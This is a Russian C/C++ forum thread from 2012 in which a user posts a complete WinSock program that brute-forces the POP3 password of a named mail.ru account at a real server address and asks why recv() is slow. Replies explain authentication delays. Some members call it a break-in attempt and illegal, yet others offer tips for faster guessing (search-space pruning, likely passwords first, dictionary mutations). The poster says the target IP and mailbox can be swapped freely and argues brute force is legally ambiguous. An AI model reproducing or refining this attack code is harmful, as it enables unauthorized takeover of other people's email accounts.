Модераторы: Daevaorn

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Тормоза с вызовом recv(), как оптимизировать код? С/C++ WinSock, медленная работа recv() 
V
    Опции темы
magesi
  Дата 20.5.2012, 04:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Привет всем!

Мой код на ideone: http://ideone.com/nVXIQ
Для поклонников Web-IDE, и приведу код в теме же чуть ниже, как только опишу суть своей проблемы и вопросы.

Основная проблема: ф-ция recv() работает очень медленно, работа recv() занимает несколько секунду на обработку результата. Я знаю, что recv() должен работать быстрее , а тем более с таким малым объемом информации.

Поэтому, давайте не будем сейчас тыкать в то, что код выглядет не пойми, как, что от C++ тут только юзается std::cout и string::append ( и что за чистый Си стиль? ), потому что суть не в этом...

А суть в том, что я не понимаю, почему в моем коде работет очень медленно именно recv() ф-ции, чем это обусловенно и как оптимизировать ее работу, чтобы не было таких тормозов.

Код - рабочий, если у Вас MS компилер смело компилите ( т.к. все-таки использую WinSock , а не Berkley Sockets ).

Спасибо заранее за помощь!

Собственно код:

Код

#include <iostream>
#include <ctime>
#include <WinSock2.h>

#pragma comment(lib, "Ws2_32.lib")

using namespace std;


static char alphabet[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

const int def_buf_size = 0x400;

const int pass_min = 6;
const int pass_max = 0x10;

static clock_t start = 0;
static clock_t end = 0;

static double elapsed = 0.0;
static unsigned long long count = 0;

static char ip[] = "94.100.184.76";
static u_short port = 110;

static WSAData data;
static SOCKADDR_IN addr;
static SOCKET sock;
static int result;
static char buffer[1024];
static char *tmp;
static char *pass = NULL;
static size_t found;


int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex);
char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts);
void HandleString(char *string, int size);
void BytesSent(int size);
void WSAInit(void);


int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex)
{
    int i = 0;
    int j = 0;

    for( ; i <= maxIndex; ++i)
    {
        indexes[pos] = i;

        if(pos == length - 1)
        {
            for(j = 0; j < length; ++j)
            {
                pass[j] = dict[indexes[j]];
            }

            ++*attempts;

            string tmp_brute = "pass ";
            tmp_brute.append(pass);
            tmp_brute.append("\r\n");

            WSAInit();

            result = connect(sock, (SOCKADDR*)&addr, sizeof(addr));

            if(result == SOCKET_ERROR)
            {
                cout << "Can't connect to: " << ip << ":" << port << endl << "WSA error ( connect() ): " << WSAGetLastError() << endl;
                result = closesocket(sock);

                if(result == SOCKET_ERROR)
                {
                    cout << endl << "WSA error ( closesocket() ): " << WSAGetLastError() << endl;
                    WSACleanup();
                }
            }
            else
            {
                result = recv(sock, buffer, def_buf_size, 0);
                tmp = buffer;
                HandleString(tmp, result);

                cout << "Connected successfully to: " << ip << ":" << port << endl;

                tmp = "user olegorlov90\r\n";
                cout << endl << "Sending data(" << strlen(tmp) << "): " << tmp;
                BytesSent(send(sock, tmp, strlen(tmp), 0));

                result = recv(sock, buffer, def_buf_size, 0);
                tmp = buffer;
                HandleString(tmp, result);

                const char *buf = tmp_brute.c_str();
                int len = strlen(tmp_brute.c_str());

                cout << "Sending data(" << len << "): " << buf;
                BytesSent(send(sock, buf, len, 0));

                result = recv(sock, buffer, def_buf_size, 0);
                tmp = buffer;
                HandleString(tmp, result);

                string err_code = "incorrect";
                string data = string(tmp);
                found = data.find(err_code);

                if(found != string::npos)
                {
                    closesocket(sock);
                    result = WSACleanup();
                }
                else
                {
                    return 1;
                }
            }
        }
        else
        {
            if(MakeAttempt(pos + 1, length, dict, indexes, pass, attempts, maxIndex))
            {
                return 1;
            }
        }
    }

    return 0;
}

char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts)
{
    char *pass = (char*)malloc(passmax + 1);
    int *indexes = (int*)malloc(passmax * sizeof(int));
    int passLength = passmin;
    int maxIndex = strlen(dict) - 1;

    memset(pass, 0, passmax + 1);

    for(; passLength <= passmax; ++passLength)
    {
        if(MakeAttempt(0, passLength, dict, indexes, pass, attempts, maxIndex))
        {
            goto cleanup;
        }
    }

    free(pass);
    pass = NULL;

cleanup:
    free(indexes);
    return pass;
}

void HandleString(char *string, int size)
{
    cout << endl << "Bytes received: " << size << endl << "Response from server: ";

    for(int i = 0; i < size; i++)
    {
        cout << string[i];
    }

    cout << endl;
}

void BytesSent(int size)
{
    cout << "Bytes sent: " << size << endl;
}

void WSAInit(void)
{
    result = WSAStartup(0x202, &data);

    addr.sin_addr.s_addr = inet_addr(ip);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);

    if(result != NO_ERROR)
    {
        cout << endl << "WSA startup failed with the error: " << result << endl;
    }
    else
    {
        cout << data.szDescription << " " << data.szSystemStatus << endl;
    }

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if(sock == INVALID_SOCKET)
    {
        cout << endl << "Socket init has failed with the error: " << WSAGetLastError() << endl;
        result = WSACleanup();
    }
    else
    {
        cout << endl << "Socket init has successfully!" << endl;
    }
}

int main(void)
{
    WSAInit();

    start = clock();

    cout << "Attempting to brute force..." << endl;

    if(pass = BruteForce(pass_min, pass_max, alphabet, &count))
    {
        cout << "The correct password is: " << pass << endl;
        free(pass);
    }

    end = clock();

    elapsed = ((double)(end - start)) / CLOCKS_PER_SEC;
    cout << "Time elapsed: " << elapsed << " seconds" << endl;

    if(elapsed >= 1)
    {
        cout << "Trys per second was: " << (count / elapsed) << endl;
    }

    return 0;
}

PM MAIL   Вверх
Alexey91
Дата 20.5.2012, 10:36 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 195
Регистрация: 18.9.2008

Репутация: нет
Всего: нет



Программу не запускал, не тестировал.

У тебя используются блокирующие сокеты (управление передается, только после завершения работы функции, в данном случае это recv).
Функция recv завершится после того, как заполнится ее буфер той длиной, который ты передал в качестве аргумента. А как долго он будет заполняться зависит от отклика сервера.

Серверы бывают быстрые и медленные по скорости обработки запросов. Но не один сервер, не станет отправлять сразу же ответы на целую кучу запросов, интервал по времени между которыми очень маленький.

Вполне возможно, что после того, как ты кучу раз передавал серверу логин и пароль, тебя он просто отрубает, и не шлет тебе ответа, или шлет через некоторое время, а функция recv его ожидает. И не передает управление пока не получит ответа. Поэтому работает долго.

Быстрее получать ответы от сервера, уже не зависит от твоей программы, а зависит от того насколько быстро хочет обрабатывать сервер твои запросы.
PM   Вверх
volatile
Дата 20.5.2012, 11:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Попытка взлома ящика:
Код

[email protected]


mail.ru видимо делает паузу, чтобы затруднить
Цитата(magesi @  20.5.2012,  04:03 Найти цитируемый пост)
BruteForce

и правильно делает.
PM MAIL   Вверх
magesi
  Дата 20.5.2012, 12:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(Alexey91 @  20.5.2012,  10:36 Найти цитируемый пост)
Вполне возможно, что после того, как ты кучу раз передавал серверу логин и пароль, тебя он просто отрубает, и не шлет тебе ответа, или шлет через некоторое время, а функция recv его ожидает. И не передает управление пока не получит ответа. Поэтому работает долго.

Нет. Он не обрубает работу по логам, нормально просит авторизацию , запрашивает пароль, ждет и выдает ответ "подходит или нет" данный пароль к юзеру ( кстати именно на этот финальный запрос приходится долго очень ждать ).

Но, я понял , спасибо большое Вам за развернутый и качественный ответ.

Цитата(volatile @  20.5.2012,  11:03 Найти цитируемый пост)
Попытка взлома ящика:

Это мой ящик smile Я же на себе и тестирую, поэтому это не взлом - взламывать свое.

А в коде, можно подставить: любой другой IP, другой ящик, а также пытаться взломать: переписав команды для IMAP и прочего по обработке данных от сервера.

Это сообщение отредактировал(а) magesi - 20.5.2012, 12:56
PM MAIL   Вверх
bsa
Дата 21.5.2012, 10:46 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 9185
Регистрация: 6.4.2006
Где: Москва, Россия

Репутация: 63
Всего: 196



magesi, все вменяемые реализации протоколов авторизации имеют задержку между приемом пароля и ответом. Если бы сервер отвечал сразу же, то он бы давно лежал под натиском хакеров.
PM   Вверх
magesi
  Дата 21.5.2012, 15:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(bsa @ 21.5.2012,  10:46)
magesi, все вменяемые реализации протоколов авторизации имеют задержку между приемом пароля и ответом. Если бы сервер отвечал сразу же, то он бы давно лежал под натиском хакеров.

Пардон, я в танке в этом плане smile

А были бы Вы любезны так помочь, указать еще ключевые моменты для дальнешего гугливания ключевых моментов по безопаснотям от метода перебора? smile

PS
Я сейчас улучшаю свой программу. Решил для перебора каждого пароля опред. разрядности ( 6 симв., 7, 8 etc ) выделять каждый поток.

Т.е., переборкой пароля 6-ю симв. занимается один поток, 7-ую - уже другой и тд

Мин. - 6 символов
Макс. - 22 символа

Т.е. 16 потоков будет, а я еще не подумал о всяких спец. символах в пароле smile !"№;%:?*()

И решил в каждом потоке с двух концов начинать переборку по словарю.

Что Вы думаете, насчет такой реализации?

Что задача bruteforce относится к NP-задачам, помню, но все равно интересно.

Большое спасибо!

Это сообщение отредактировал(а) magesi - 21.5.2012, 15:05
PM MAIL   Вверх
baldina
Дата 21.5.2012, 15:19 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(magesi @  20.5.2012,  12:45 Найти цитируемый пост)
это не взлом - взламывать свое

ты не своё взламываешь, а mail.ru. максимальная отмазка, что в данном случае ты не наносишь реальный вред, но законодательство все-равно нарушаешь.
Цитата

Деточкин нарушал закон. Но он порядочный честный человек

PM MAIL   Вверх
magesi
  Дата 21.5.2012, 15:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @  21.5.2012,  15:19 Найти цитируемый пост)
ты не своё взламываешь, а mail.ru.

своё на mail.ru , учитывая, что там у меня платный аккаунт

был бы более Вам благодарен за разрбор NP-задачи, спасибо заранее smile

PS
Потом bruteforce юридически можно рассматривать, как "забыл пароль к своему ящику, если он действительно мой", и большое кол-во попыток, юридических проволочек очень много и всегда можно интерпретировать по-разному.

Это сообщение отредактировал(а) magesi - 21.5.2012, 15:31
PM MAIL   Вверх
baldina
Дата 21.5.2012, 15:40 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(magesi @  21.5.2012,  15:03 Найти цитируемый пост)
bruteforce относится к NP-задачам

Цитата(magesi @  21.5.2012,  15:03 Найти цитируемый пост)
Мин. - 6 символов
Макс. - 22 символа
Т.е. 16 потоков будет

1. нужно сократить поле перебора, отбросив заведомо неподходящие варианты. правда в данном случае нет гарантии, что не отсеется верный пароль
2. среднее время подбора может быть улучшено, если сначала проверять более вероятные комбинации, но верхняя оценка останется той же. в простейшем случае думаю целесообразно случайно перемешать alphabet, т.к. пароли abcd не слишком вероятны

ЗЫ: это только в фильмах пароли подбираются быстро, легко и красочно
PM MAIL   Вверх
feodorv
Дата 21.5.2012, 16:26 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2214
Регистрация: 30.7.2011

Репутация: 11
Всего: 45



Цитата(baldina @  21.5.2012,  16:40 Найти цитируемый пост)
ЗЫ: это только в фильмах пароли подбираются быстро, легко и красочно 

Если я хоть что-то понимаю в безопасности, после очередной попытки залогинится с неверным паролем, mail.ru резко увеличит таймаут между попытками, а потом забанит IP атакующего...


--------------------
Напильник, велосипед, грабли и костыли - основные инструменты программиста...
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 16:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(feodorv @ 21.5.2012,  16:26)
Цитата(baldina @  21.5.2012,  16:40 Найти цитируемый пост)
ЗЫ: это только в фильмах пароли подбираются быстро, легко и красочно 

Если я хоть что-то понимаю в безопасности, после очередной попытки залогинится с неверным паролем, mail.ru резко увеличит таймаут между попытками, а потом забанит IP атакующего...

1). Я на ночь ставил, время отклика такое же, значит не увеличивали timeout.
2). IP до сих пор не забанен, а у меня статичный.
PM MAIL   Вверх
baldina
Дата 21.5.2012, 16:46 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



это если mail.ru понимает в безопасности  smile

Добавлено через 2 минуты и 13 секунд
имхо
грубой силой пароль можно подбирать очень долго, так что и без увеличения таймаута шансы невелики. а держать открытым соединение серверу дорого, он скорее подохнет от открытых сессий.

Добавлено через 2 минуты и 57 секунд
Цитата(magesi @  21.5.2012,  16:41 Найти цитируемый пост)
 Я на ночь ставил

подобрал?
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 16:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @  21.5.2012,  16:46 Найти цитируемый пост)
подобрал? 

Нет smile он до сих пор пашет, не подобрал еще smile логи большие зато, на много Мб smile

Это сообщение отредактировал(а) magesi - 21.5.2012, 23:32
PM MAIL   Вверх
baldina
Дата 21.5.2012, 16:55 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



4х буквенный хороший пароль на данном словаре это 3-6млн попыток, в зависимости от удачи. а поскольку число попыток с ростом длины пароля растет факториально...
хороший взломщик должен первым делом попробовать словарь+модификации, а брутфорс не подряд, а с использованием эвристик. хотя улучшение скорости с десяти тысяч лет скажем до года на практике ничего полезного не даст.
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 16:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @ 21.5.2012,  16:55)
4х буквенный хороший пароль на данном словаре это 3-6млн попыток, в зависимости от удачи. а поскольку число попыток с ростом длины пароля растет факториально...
хороший взломщик должен первым делом попробовать словарь+модификации, а брутфорс не подряд, а с использованием эвристик. хотя улучшение скорости с десяти тысяч лет скажем до года на практике ничего полезного не даст.

Придется на ДНК-компы переходить, которые сразу сгенерят все комбинации за раз smile
Правда изъять результат будет сложно из ДНК-компов ( их основная проблема ).

А ведь, если бы не это проблема, NP-задачи на DNA-PC щелкались бы только так.

Добавлено через 6 минут и 54 секунды
Цитата(baldina @  21.5.2012,  16:55 Найти цитируемый пост)
а поскольку число попыток с ростом длины пароля растет факториально...

факториальный рост или геомт. прогрессии? smile
PM MAIL   Вверх
Страницы: (3) Все [1] 2 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С++:Общие вопросы"
Earnest Daevaorn

Добро пожаловать!

  • Черновик стандарта C++ (за октябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика(4.4мб).
  • Черновик стандарта C (за сентябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика (3.4мб).
  • Прежде чем задать вопрос, прочтите это и/или это!
  • Здесь хранится весь мировой запас ссылок на документы, связанные с C++ :)
  • Не брезгуйте пользоваться тегами [code=cpp][/code].
  • Пожалуйста, не просите написать за вас программы в этом разделе - для этого существует "Центр Помощи".
  • C++ FAQ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Earnest Daevaorn

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0595 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.